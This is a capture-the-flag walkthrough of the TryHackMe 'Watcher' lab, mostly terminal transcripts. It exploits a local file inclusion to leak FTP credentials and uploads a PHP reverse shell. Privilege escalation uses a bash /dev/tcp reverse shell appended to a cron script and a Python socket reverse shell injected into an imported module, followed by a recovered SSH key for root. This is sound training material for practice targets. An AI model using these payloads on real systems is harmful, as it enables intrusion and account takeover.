TryHackMe - Watcher
Add IP address
I add the Target’s IP Address into /etc/hosts
to simply use the DNS instead of typing the IP:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ sudo cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.204.165 watcher.thm
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn watcher.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 12:03 EDT
Warning: 10.10.189.100 giving up on port because retransmission cap hit (10).
Nmap scan report for watcher.thm
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 40.81 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 21,22,80 watcher.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 13:12 EDT
Nmap scan report for watcher.thm (10.10.204.165)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e180ec1f269e32eb273f26acd237ba96 (RSA)
| 256 36ff7011058ed4507a29915875ac2e76 (ECDSA)
|_ 256 48d23e45da0cf0f6654ef9789737aa8a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corkplacemats
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Jekyll v4.1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 185.56 ms 10.9.0.1
2 185.56 ms watcher.thm (10.10.204.165)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds
Dir Scan
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 50 --no-error -u http://watcher.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://watcher.thm/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt (Status: 200) [Size: 69]
/images (Status: 301) [Size: 311] [--> http://watcher.thm/images/]
/css (Status: 301) [Size: 308] [--> http://watcher.thm/css/]
Flag 1
robots.txt
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/robots.txt
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/flag_1.txt
FLAG{REDACTED}
Flag 2
Try to read the file secret_file_do_not_read.txt
but I do not have the permission to access:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/secret_file_do_not_read.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at watcher.thm Port 80</address>
</body></html>
Access the main page of watcher.thm through web-browser and select 1 of 3 posts:
Look at the URL and the value of the param ?post=
:
Now use the LFI (Local File Inclusion) technique to read the file → Change the value from stripped.php
to secret_file_do_not_read.txt
:
Now we get the FTP creds → Let’s login:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ftp watcher.thm
Connected to watcher.thm.
220 (vsFTPd 3.0.3)
Name (watcher.thm:kali): [REDACTED]
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
229 Entering Extended Passive Mode (|||48045|)
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 files
-rw-r--r-- 1 0 0 21 Dec 03 2020 flag_2.txt
226 Directory send OK.
Transfer the file to the local machine and get the flag:
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
229 Entering Extended Passive Mode (|||43660|)
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
100% |***********************************************************************| 21 10.79 KiB/s 00:00 ETA
226 Transfer complete.
21 bytes received in 00:00 (0.10 KiB/s)
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ cat flag_2.txt
FLAG{REDACTED}
Flag 3
Prepare a reverse shell on the local machine → Transfer it through FTP:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ls -l shell.php
-rwxr-xr-x 1 kali kali 5492 Aug 29 12:36 shell.php
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||44682|)
553 Could not create file.
Oops! The current directory does not allow me to upload the shell. Let’s move into files/
:
ftp> cd files
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||44027|)
150 Ok to send data.
100% |***********************************************************************| 5492 43.64 MiB/s 00:00 ETA
226 Transfer complete.
5492 bytes sent in 00:00 (14.31 KiB/s)
ftp> ls -l
229 Entering Extended Passive Mode (|||45582|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 5492 Aug 29 17:31 shell.php
226 Directory send OK.
Start a listener on the local machine listening on the specified port in the reverse shell → Call (Execute) the shell through the path that declared inside secret_file_do_not_read.txt
:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ curl http://watcher.thm/post.php?post=/home/ftpuser/ftp/files/shell.php
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 48746
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:35:12 up 30 min, 0 users, load average: 0.00, 0.03, 0.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Locate the flag 3 by using find
command and get the flag:
$ find / -name "flag_3.txt" 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt
$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{REDACTED}
Flag 4
Navigate to /home/
directory and locate all the flags:
$ cd /home/
$ ls -l
total 16
dr-xr-xr-x 3 root root 4096 Dec 3 2020 ftpuser
drwxr-xr-x 6 mat mat 4096 Dec 3 2020 mat
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 toby
drwxr-xr-x 5 will will 4096 Dec 3 2020 will
$ ls -l * | grep "flag"
-rw------- 1 mat mat 37 Dec 3 2020 flag_5.txt
-rw------- 1 toby toby 21 Dec 3 2020 flag_4.txt
-rw------- 1 will will 41 Dec 3 2020 flag_6.txt
Access toby
’s directory to get the flag. However, the current user www-data
does not have the permission to read it, only toby
can:
$ cd toby
$ ls -l
total 12
-rw------- 1 toby toby 21 Dec 3 2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 jobs
-rw-r--r-- 1 mat mat 89 Dec 12 2020 note.txt
Therefore, use sudo -l
to check whether any commands that user www-data
could execute with another privilege:
$ sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL
NOPASSWD: ALL
means you can execute every commands with toby
’s privilege:
$ sudo -iu toby
id
uid=1003(toby) gid=1003(toby) groups=1003(toby)
python3 -c "import pty;pty.spawn('/bin/bash')"
toby@watcher:~$ cat flag_4.txt
cat flag_4.txt
FLAG{REDACTED}
Flag 5
Read the note to see what does it say:
toby@watcher:~$ cat note.txt
cat note.txt
Hi Toby,
I've got the cron jobs set up now so don't worry about getting that done.
Mat
It’s the note from mat
and it talks about the cron jobs → Check the crontab
:
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh
*/1 * * * * mat /home/toby/jobs/cow.sh
: mat
user automatically execute the cow.sh
for every minute within mat
’s privilge → Let’s see what does the cow.sh
do:
toby@watcher:~$ cd jobs
cd jobs
toby@watcher:~/jobs$ ls -l
ls -l
total 4
-rwxr-xr-x 1 toby toby 46 Dec 3 2020 cow.sh
toby@watcher:~/jobs$ cat cow.sh
cat cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
It’s a bash binary → I can inject another reverse shell into it:
toby@watcher:~/jobs$ echo "bash -i >& /dev/tcp/10.9.63.75/4445 0>&1" >> cow.sh
Then start another listener on local machine with the specified port and wait for a minute:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 56740
bash: cannot set terminal process group (2306): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$
OK! I’m mat
user now → Get the flag 5:
mat@watcher:~$ ls -l
ls -l
total 280
-rw-r--r-- 1 mat mat 270433 Dec 3 2020 cow.jpg
-rw------- 1 mat mat 37 Dec 3 2020 flag_5.txt
-rw-r--r-- 1 will will 141 Dec 3 2020 note.txt
drwxrwxr-x 2 will will 4096 Dec 3 2020 scripts
mat@watcher:~$ cat flag_5.txt
cat flag_5.txt
FLAG{REDACTED}
Flag 6
Again, read the note to find whether any helpful information:
mat@watcher:~$ cat note.txt
cat note.txt
Hi Mat,
I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.
Will
This time is about sudo rights → Use sudo -l
again:
mat@watcher:~$ sudo -l
sudo -l
Matching Defaults entries for mat on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mat may run the following commands on watcher:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
will
use python3 to execute the will_script.py
→ Check it:
mat@watcher:~$ cd scripts
cd scripts
mat@watcher:~/scripts$ ls -l
ls -l
total 8
-rw-r--r-- 1 mat mat 133 Dec 3 2020 cmd.py
-rw-r--r-- 1 will will 208 Dec 3 2020 will_script.py
mat@watcher:~/scripts$ cat cmd.py
cat cmd.py
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
mat@watcher:~/scripts$ cat will_script.py
cat will_script.py
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)
The will_script.py
import the get_command()
function from the cmd.py
. Then, it will use the whitelist
to compare the command the user’s input → If the command is available → The script will execute the command.
To exploit this script:
-
Insert a reverse shell payload into the
[cmd.py](http://cmd.py)
which I have the permission on it:mat@watcher:~/scripts$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.63.75",4446));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> cmd.py
-
Execute the
will_script.py
withinsudo
and an argument of1
or2
or3
to make it run successfully:mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
Start another listener on the local machine:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.204.165] 36128
$ id
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)
Navigate to will
’s directory and get the flag:
$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
will@watcher:~/scripts$ cd /home/will
cd /home/will
will@watcher:/home/will$ ls -l
ls -l
total 4
-rw------- 1 will will 41 Dec 3 2020 flag_6.txt
will@watcher:/home/will$ cat flag_6.txt
cat flag_6.txt
FLAG{REDACTED}
Flag 7
From this point, you can use linpeas.sh
to rapidly enumerate the vulnerabilities to escalate privilege to root
user.
Otherwise, I manually use find
:
will@watcher:/home/will$ find / -group adm 2>/dev/null
/opt/backups
/opt/backups/key.b64
...
Navigate to /opt/backups/
to check the key.b64
:
will@watcher:/home/will$ cd /opt/backups
will@watcher:/opt/backups$ cat key.b64
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBelBhUUZvbFFx[REDACTED]LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
It was encoded with base64 → Encode it:
will@watcher:/opt/backups$ cat key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
[REDACTED]
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----
That is the private key used for ssh connection → Copy the key to the local machine → chmod 600
to the key and use it to ssh to the target as root
user:
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ file id_rsa
id_rsa: PEM RSA private key
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ls -l id_rsa
-rw------- 1 kali kali 1679 Aug 29 14:26 id_rsa
┌──(kali㉿kali)-[~/TryHackMe/Watcher]
└─$ ssh root@watcher.thm -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Aug 29 18:29:08 UTC 2023
System load: 0.12 Processes: 110
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 38% IP address for eth0: 10.10.215.160
Swap usage: 0% IP address for lxdbr0: 10.14.179.1
33 packages can be updated.
0 updates are security updates.
Last login: Thu Dec 3 03:25:38 2020
root@watcher:~# id
uid=0(root) gid=0(root) groups=0(root)
Finally, get the flag:
root@watcher:~# ls -l
total 4
-rw-r--r-- 1 root root 31 Dec 3 2020 flag_7.txt
root@watcher:~# cat flag_7.txt
FLAG{REDACTED}